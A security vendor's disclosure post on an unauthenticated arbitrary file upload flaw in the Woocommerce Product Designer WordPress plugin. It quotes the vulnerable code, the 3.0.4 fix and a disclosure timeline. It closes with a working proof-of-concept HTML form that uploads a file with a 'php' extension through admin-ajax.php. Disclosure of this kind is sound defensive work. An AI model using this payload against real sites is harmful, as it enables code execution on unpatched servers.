Arbitrary File Upload Vulnerability in Woocommerce Product Designer
Last week we looked a recent example of the security industry vastly overstating the impact of a vulnerability, in that instance it involved a reflected cross-site scripting (XSS) vulnerability in a plugin used with the popular WordPress eCommerce plugin WooCommerce. What that situation also highlighted is the poor state of detection of vulnerabilities in WordPress plugins. Here is what the discoverer SiteLock wrote about finding it:
Our automated scanner alerted us to an XSS vulnerability on a customer’s website, which we determined was due to the WooCommerce “Product Vendors” plugin. What was unusual in this case is that the vulnerable plugin was, at the time, the most recent version, so no patches were yet available for the vulnerability. We immediately contacted Automattic concerning our findings in following our Responsible Disclosure Policy, provided all relevant information on the vulnerability, and coordinated this disclosure.
Reflected cross-site scripting (XSS) vulnerabilities are relatively common, so it sounds like their scanner is only catching very obvious vulnerabilities if spotting something like this in the current version of a plugin is uncommon for them. Since the plugin in question is not free and not accessible through the Plugin Directory it is less likely to have received the kind of scrutiny that could have caught it before.
As a recent addition to our service we started monitoring all changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities as they are added to plugins to help to better protect customers and to lesser extent everyone else (as if it gets fixed everyone is protected, but if the vulnerability isn’t fixed our customers will be warned right away and we can work with them to handle the vulnerability they have on their website). Because of how we do that monitoring it will also catch vulnerabilities that already exist in plugins if a change being made to the plugin includes the vulnerable code.
One of the types vulnerabilities we are monitoring for through that are arbitrary file upload vulnerabilities, since those are likely to be exploited by hackers. Through that we came across a possible vulnerability of that type in another WooCommerce related plugin, Woocommerce Product Designer.
In looking into that first thought the vulnerability was not exploitable because the arbitrary file uploaded would be stored in a directory with a unique named generated with uniqid(), but we then found that accessing the vulnerable code from a different function would return the location of the file to the attacker, which would allow exploitation.
The plugin makes the function generate_downloadable_file() available through WordPress’ AJAX functionality whether the request comes from someone logged in to WordPress or not (in the file /includes/class-wpd.php):
276 277 | $this->loader->add_action( 'wp_ajax_generate_downloadable_file', $wpd_design, 'generate_downloadable_file' ); $this->loader->add_action( 'wp_ajax_nopriv_generate_downloadable_file', $wpd_design, 'generate_downloadable_file' ); |
In the function generate_downloadable_file(), which is located in the file /includes/class-wpd-design.php the name of the directory is defined and added to several variables:
279 280 281 282 | $tmp_dir = uniqid(); $upload_dir = wp_upload_dir(); $generation_path = $upload_dir["basedir"] . "/WPC/$tmp_dir"; $generation_url = $upload_dir["baseurl"] . "/WPC/$tmp_dir"; |
If code that uploads a file is successful the location of the file is displayed:
$output_msg.="<div>" . ucfirst($part_key) . __(": please click ", "wpd") . "<a href='$generation_url/$part_key/$part_file' download='$part_file'>" . __("here", "wpd") . "</a> " . __("to download", "wpd") . ".</div>";
The uploading is handled by the file export_data_to_files(), which is also located in /includes/class-wpd-design.php. The important portion was as follows in version 3.0.3:
967 968 969 970 971 972 973 974 975 976 977 978 979 980 | $wpc_img_format = $_POST["format"]; $output_arr = array(); foreach ($data as $part_key => $part_data) { $part_dir = "$generation_dir/$part_key"; if (!wp_mkdir_p($part_dir)) { echo "Can't create part directory..."; continue; } //Part image $output_file_path = $part_dir . "/$part_key.$wpc_img_format"; $moved = move_uploaded_file($_FILES[$part_key]['tmp_name']['image'], $output_file_path); |
The code would upload an arbitrary file and give it name based on user input, the value of $data comes from the POST input “final_canvas_parts”.
We notified the developer yesterday and today they released version 3.0.4, which fixes the vulnerability by restricting the file extension of the uploaded file on the server to either “png” or “jpg”:
967 968 969 970 | $wpc_img_format = $_POST["format"]; $allowed_extensions=array('png', 'jpg'); if(!in_array( $wpc_img_format, $allowed_extensions)) return false; |
If you are using WooCommerce it would be a good idea to make sure a high quality security review has been done of any other plugins you use because not only have there been plenty of serious security vulnerabilities, like this one, found in other plugins used with it, but since WooCommerce websites normally created WordPress accounts for customers there are more risks from other plugins that all too often lack of proper restriction of what level of users can access its functionality. Oftentimes functionality that should be only accessible to Administrator and other high level users is accessible to all users, which sometimes leads to serious vulnerabilities. For example, we found that one WooCommerce focused plugin allowed any logged in user to change the price, weight, and stock status of products. Users of our service can suggest and vote for plugins to receive a security review from us. You can also order the same type review for a plugin from us.
Proof of Concept
The following proof of concept will upload the selected file to a unique location that will be specified in the response to the request.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="action" value="generate_downloadable_file" /> <input type="hidden" name="final_canvas_parts[test]" value='test' /> <input type="hidden" name="format" value="php" /> <input type="file" name="test[image]" /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- September 5, 2017 – Developer notified.
- September 6, 2017 – Developer responds.
- September 6, 2017 – Version 3.0.4 released, which fixes vulnerability.